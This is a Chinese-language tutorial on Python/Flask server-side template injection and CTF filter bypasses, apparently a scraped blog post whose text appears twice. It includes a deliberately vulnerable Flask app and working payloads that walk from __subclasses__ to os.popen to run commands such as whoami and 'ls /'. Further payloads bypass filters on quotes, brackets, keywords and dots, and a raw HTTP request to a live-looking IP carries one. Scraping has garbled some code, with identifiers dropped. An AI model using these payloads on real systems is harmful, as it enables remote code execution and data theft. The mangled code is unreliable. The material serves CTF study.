2023年8月1日发(作者:)

python模板注⼊_Python模板注⼊(SSTI)深⼊学习前⾔⼀直对模板注⼊似懂⾮懂的,打算在这篇⽂章中深⼊的研究⼀下模板注⼊以及在ctf中bypass的办法。Learning什么是模板&模板注⼊⼩学的时候拿别⼈的好词好句,套在我们⾃⼰的作⽂⾥,此时我们的作⽂就相当于模板,⽽别⼈的好词好句就相当于传递进模板的内容。那么什么是模板注⼊呢,当不正确的使⽤模板引擎进⾏渲染时,则会造成模板注⼊,⽐如:from flask import Flaskfrom flask import requestfrom flask import configfrom flask import render_template_stringapp = Flask(__name__)['SECRET_KEY'] = "flag{SSTI_123456}"@('/')def hello_world():return 'Hello World!'@andler(404)def page_not_found(e):template = '''{%% block body %%}Oops! That page doesn't exist.%s{%% endblock %%}''' % (('404_url'))return render_template_string(template), 404if __name__ == '__main__':(host='0.0.0.0',debug=True)⽹上⼤部分所使⽤的的⽅式已经不能导致模板注⼊了,在最新的flask版本中会⾃动对进⾏urlencode,所以我稍微改了⼀下代码,改成传参就可以了。在上述代码中,直接将⽤户可控参数('404_url')在模板中直接渲染并传回页⾯中,这种不正确的渲染⽅法会产⽣模板注⼊(SSTI)。可以看到,页⾯直接传回了0⽽不是{{1-1}}。How2use在Python的ssti中,⼤部分是依靠基类->⼦类->危险函数的⽅式来利⽤ssti,接下来讲⼏个知识点。__class__万物皆对象,⽽class⽤于返回该对象所属的类,⽐如某个字符串,他的对象为字符串对象,⽽其所属的类为。__bases__以元组的形式返回⼀个类所直接继承的类。__base__以字符串返回⼀个类所直接继承的类。__mro__返回解析⽅法调⽤的顺序。__subclasses__()获取类的所有⼦类。__init__所有⾃带带类都包含init⽅法,便于利⽤他当跳板来调⽤globals。__globals__function.__globals__,⽤于获取function所处空间下可使⽤的module、⽅法以及所有变量。在看完上边这些⾃带⽅法、成员变量后,可能有点懵,接下来看看是如何利⽤这些⽅法以及成员变量达到我们想要的⽬的的。在SSTI中,我们要做的⽆⾮就两个:执⾏命令获取⽂件内容所以我们所做的⼀切实际上都是在往这两个结果靠拢。测试代码:# -*- coding:utf8 -*-from flask import Flaskfrom flask import requestfrom flask import configfrom flask import render_template_stringapp = Flask(__name__)['SECRET_KEY'] = "flag{SSTI_123456}"@('/')def hello_world():return 'Hello World!'@andler(404)def page_not_found(e):template = '''{%% block body %%}Oops! That page doesn't exist.%s{%% endblock %%}''' % (('404_url'))return render_template_string(template), 404if __name__ == '__main__':(host='0.0.0.0',debug=True)当我们访问的页⾯404时,会从get传递的参数中获取404_url的值并且拼接进模板进⾏渲染。接下来看看常规操作:"".__class__先使⽤该payload来获取某个类,这⾥可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终⽬的是要获取到基类Object。接下来我们可以通过bases或者mro来获取到object基类。"".__class__.__bases__"".__class__.__mro__[1]接下来获取其所有⼦类:"".__class__.__mro__[1].__subclasses__()我们只需要寻找可能执⾏命令或者可以读取⽂件的类就可以了,重点关注os/file这些关键字。获取到subclasses后,初步看了⼀下没有能直接执⾏命令或者获取⽂件内容的,接下来使⽤s来看看有没有os module或者其他的可以读写⽂件的。{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}这⾥我⽤burp来爆破303这个数字,从0爆破到⼀千,可以发现有很多个内置类都可以使⽤os这个模块,于是就可以欢乐的执⾏系统命令了~最终payload:{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}Bypass in CTF当我们需要测试SSTI过滤了什么的时候,可以使⽤如下payload防⽌其500:{{"要测试的字符"}},只需要看看要测试的字符是否返回在页⾯中即可,下⾯分别说说对应各种过滤情况的解决办法。我们⾸先要知道,过滤了某种字符对我们的影响,接下来再对应寻找payload来利⽤。过滤引号回顾我们上⾯的payload,哪⾥使⽤了引号?接下来思考对应的解决办法,⾸先第⼀个引号的作⽤是什么,是为了引出基类,⽽任何数据结构都可以引出基类,所以这⾥可以直接使⽤数组代替,所以上述payload就变成了:{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}在fuzz的时候我发现,数据结构可以被替换为数组、字典,以及数字0。再看看后⾯的引号是⽤来⼲嘛的,⾸先看看.s返回的是什么类型的数据:所以第⼀个引号就是获取字典内对应索引的value,这⾥我们可以使⽤来绕过此处引号的过滤。是flask中⼀个存储着请求参数以及其值的字典,我们可以像这样来引⽤他:所以第⼆个引号的绕过⽅法即:{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[1]}}&arg1=os后⾯的所有引号都可以使⽤该⽅法进⾏绕过。还有另外⼀种绕过引号的办法,即通过python⾃带函数来绕过引号,这⾥使⽤的是chr()。⾸先fuzz⼀下chr()函数在哪:payload:{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这⾥我随便选⼀个。{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}接着尝试使⽤chr尝试绕过后续所有的引号:{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}过滤中括号回看最初的payload,过滤中括号对我们影响最⼤的是什么,前边两个中括号都是为了从数组中取值,⽽后续的中括号实际是不必要的,globals["os"]可以替换为。所以过滤了中括号实际上影响我们的只有从数组中取值,然⽽从数组中取值,⽽从数组中取值可以使⽤pop/getitem等数组⾃带⽅法。不过还是建议⽤getitem,因为pop会破坏数组的结构。a[0]与m(0)的效果是⼀样的,所以上述payload可以⽤此来绕过:{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}过滤⼩括号需要注意的⼀点是,如果题⽬过滤了⼩括号,那么我们就⽆法执⾏任何函数了,只能获取⼀些敏感信息⽐如题⽬中的config。因为如果要执⾏函数就必须使⽤⼩括号来传参,⽬前我还没找到能够代替⼩括号进⾏传参的办法。过滤关键字主要看关键字是如何过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使⽤字符串合并的⽅式进⾏绕过。使⽤中括号的payload:{{""["__cla"+"ss__"]}}不使⽤中括号的payload:{{"".__getattribute__("__cla"+"ss__")}}这⾥主要使⽤了getattribute来获取字典中的value,参数为key值。第⼆种绕过过滤关键字的办法之前也提到了,即使⽤request对象:{"".__getattribute__(.a)}}&a=__class__第三种绕过关键字过滤的办法即使⽤str原⽣函数:['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__','__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__','__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__','_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find','format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace','rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']以上即为str的原⽣函数,我们可以使⽤decode、replace等来绕过所过滤的关键字。模块阉割在⽐赛环境中,经常会阉割掉⼀些内置函数,我们可以尝试使⽤reload来重载。在Python2中,reload是内置函数,⽽在Python3中,reload则为imp module下的函数,使⽤⽅法:测试:在⽐赛场景中我们⼀般是不能直接reload(os)的,因为可能当前类并没有import os。所以⼀般都是reload(__builtins__),这时可以重新载⼊builtins,此时builtins中被删除的⽐如eval、import等就⼜都回来了。reload()主要⽤于沙盒环境中,⽐如直接给你提供了⼀个shell的环境,SSTI中我还没有成功使⽤过reload()。过滤{{}}相当于把命令执⾏的结果外带出去。过滤点号在Python环境中(Python2/Python3),我们可以使⽤访问字典的⽅式来访问函数/类等。"".__class__等价于""["__class__"]利⽤上述⽅式,可以绕过点号的过滤,懒得本地复现了,直接丢之前遇到点号过滤的时候绕过的笔记:POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1Host: 114.116.44.23:58470Content-Length: 190Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/78.0.3904.70 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closenickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}总结基本的过滤也就只有这些了,剩下的待挖掘的其实就只剩下可以命令执⾏的module了。参考

2023年8月1日发(作者:)

python模板注⼊_Python模板注⼊(SSTI)深⼊学习前⾔⼀直对模板注⼊似懂⾮懂的,打算在这篇⽂章中深⼊的研究⼀下模板注⼊以及在ctf中bypass的办法。Learning什么是模板&模板注⼊⼩学的时候拿别⼈的好词好句,套在我们⾃⼰的作⽂⾥,此时我们的作⽂就相当于模板,⽽别⼈的好词好句就相当于传递进模板的内容。那么什么是模板注⼊呢,当不正确的使⽤模板引擎进⾏渲染时,则会造成模板注⼊,⽐如:from flask import Flaskfrom flask import requestfrom flask import configfrom flask import render_template_stringapp = Flask(__name__)['SECRET_KEY'] = "flag{SSTI_123456}"@('/')def hello_world():return 'Hello World!'@andler(404)def page_not_found(e):template = '''{%% block body %%}Oops! That page doesn't exist.%s{%% endblock %%}''' % (('404_url'))return render_template_string(template), 404if __name__ == '__main__':(host='0.0.0.0',debug=True)⽹上⼤部分所使⽤的的⽅式已经不能导致模板注⼊了,在最新的flask版本中会⾃动对进⾏urlencode,所以我稍微改了⼀下代码,改成传参就可以了。在上述代码中,直接将⽤户可控参数('404_url')在模板中直接渲染并传回页⾯中,这种不正确的渲染⽅法会产⽣模板注⼊(SSTI)。可以看到,页⾯直接传回了0⽽不是{{1-1}}。How2use在Python的ssti中,⼤部分是依靠基类->⼦类->危险函数的⽅式来利⽤ssti,接下来讲⼏个知识点。__class__万物皆对象,⽽class⽤于返回该对象所属的类,⽐如某个字符串,他的对象为字符串对象,⽽其所属的类为。__bases__以元组的形式返回⼀个类所直接继承的类。__base__以字符串返回⼀个类所直接继承的类。__mro__返回解析⽅法调⽤的顺序。__subclasses__()获取类的所有⼦类。__init__所有⾃带带类都包含init⽅法,便于利⽤他当跳板来调⽤globals。__globals__function.__globals__,⽤于获取function所处空间下可使⽤的module、⽅法以及所有变量。在看完上边这些⾃带⽅法、成员变量后,可能有点懵,接下来看看是如何利⽤这些⽅法以及成员变量达到我们想要的⽬的的。在SSTI中,我们要做的⽆⾮就两个:执⾏命令获取⽂件内容所以我们所做的⼀切实际上都是在往这两个结果靠拢。测试代码:# -*- coding:utf8 -*-from flask import Flaskfrom flask import requestfrom flask import configfrom flask import render_template_stringapp = Flask(__name__)['SECRET_KEY'] = "flag{SSTI_123456}"@('/')def hello_world():return 'Hello World!'@andler(404)def page_not_found(e):template = '''{%% block body %%}Oops! That page doesn't exist.%s{%% endblock %%}''' % (('404_url'))return render_template_string(template), 404if __name__ == '__main__':(host='0.0.0.0',debug=True)当我们访问的页⾯404时,会从get传递的参数中获取404_url的值并且拼接进模板进⾏渲染。接下来看看常规操作:"".__class__先使⽤该payload来获取某个类,这⾥可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终⽬的是要获取到基类Object。接下来我们可以通过bases或者mro来获取到object基类。"".__class__.__bases__"".__class__.__mro__[1]接下来获取其所有⼦类:"".__class__.__mro__[1].__subclasses__()我们只需要寻找可能执⾏命令或者可以读取⽂件的类就可以了,重点关注os/file这些关键字。获取到subclasses后,初步看了⼀下没有能直接执⾏命令或者获取⽂件内容的,接下来使⽤s来看看有没有os module或者其他的可以读写⽂件的。{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}这⾥我⽤burp来爆破303这个数字,从0爆破到⼀千,可以发现有很多个内置类都可以使⽤os这个模块,于是就可以欢乐的执⾏系统命令了~最终payload:{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}Bypass in CTF当我们需要测试SSTI过滤了什么的时候,可以使⽤如下payload防⽌其500:{{"要测试的字符"}},只需要看看要测试的字符是否返回在页⾯中即可,下⾯分别说说对应各种过滤情况的解决办法。我们⾸先要知道,过滤了某种字符对我们的影响,接下来再对应寻找payload来利⽤。过滤引号回顾我们上⾯的payload,哪⾥使⽤了引号?接下来思考对应的解决办法,⾸先第⼀个引号的作⽤是什么,是为了引出基类,⽽任何数据结构都可以引出基类,所以这⾥可以直接使⽤数组代替,所以上述payload就变成了:{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}在fuzz的时候我发现,数据结构可以被替换为数组、字典,以及数字0。再看看后⾯的引号是⽤来⼲嘛的,⾸先看看.s返回的是什么类型的数据:所以第⼀个引号就是获取字典内对应索引的value,这⾥我们可以使⽤来绕过此处引号的过滤。是flask中⼀个存储着请求参数以及其值的字典,我们可以像这样来引⽤他:所以第⼆个引号的绕过⽅法即:{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[1]}}&arg1=os后⾯的所有引号都可以使⽤该⽅法进⾏绕过。还有另外⼀种绕过引号的办法,即通过python⾃带函数来绕过引号,这⾥使⽤的是chr()。⾸先fuzz⼀下chr()函数在哪:payload:{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这⾥我随便选⼀个。{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}接着尝试使⽤chr尝试绕过后续所有的引号:{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}过滤中括号回看最初的payload,过滤中括号对我们影响最⼤的是什么,前边两个中括号都是为了从数组中取值,⽽后续的中括号实际是不必要的,globals["os"]可以替换为。所以过滤了中括号实际上影响我们的只有从数组中取值,然⽽从数组中取值,⽽从数组中取值可以使⽤pop/getitem等数组⾃带⽅法。不过还是建议⽤getitem,因为pop会破坏数组的结构。a[0]与m(0)的效果是⼀样的,所以上述payload可以⽤此来绕过:{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}过滤⼩括号需要注意的⼀点是,如果题⽬过滤了⼩括号,那么我们就⽆法执⾏任何函数了,只能获取⼀些敏感信息⽐如题⽬中的config。因为如果要执⾏函数就必须使⽤⼩括号来传参,⽬前我还没找到能够代替⼩括号进⾏传参的办法。过滤关键字主要看关键字是如何过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使⽤字符串合并的⽅式进⾏绕过。使⽤中括号的payload:{{""["__cla"+"ss__"]}}不使⽤中括号的payload:{{"".__getattribute__("__cla"+"ss__")}}这⾥主要使⽤了getattribute来获取字典中的value,参数为key值。第⼆种绕过过滤关键字的办法之前也提到了,即使⽤request对象:{"".__getattribute__(.a)}}&a=__class__第三种绕过关键字过滤的办法即使⽤str原⽣函数:['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__','__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__','__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__','_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find','format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace','rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']以上即为str的原⽣函数,我们可以使⽤decode、replace等来绕过所过滤的关键字。模块阉割在⽐赛环境中,经常会阉割掉⼀些内置函数,我们可以尝试使⽤reload来重载。在Python2中,reload是内置函数,⽽在Python3中,reload则为imp module下的函数,使⽤⽅法:测试:在⽐赛场景中我们⼀般是不能直接reload(os)的,因为可能当前类并没有import os。所以⼀般都是reload(__builtins__),这时可以重新载⼊builtins,此时builtins中被删除的⽐如eval、import等就⼜都回来了。reload()主要⽤于沙盒环境中,⽐如直接给你提供了⼀个shell的环境,SSTI中我还没有成功使⽤过reload()。过滤{{}}相当于把命令执⾏的结果外带出去。过滤点号在Python环境中(Python2/Python3),我们可以使⽤访问字典的⽅式来访问函数/类等。"".__class__等价于""["__class__"]利⽤上述⽅式,可以绕过点号的过滤,懒得本地复现了,直接丢之前遇到点号过滤的时候绕过的笔记:POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1Host: 114.116.44.23:58470Content-Length: 190Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/78.0.3904.70 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closenickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}总结基本的过滤也就只有这些了,剩下的待挖掘的其实就只剩下可以命令执⾏的module了。参考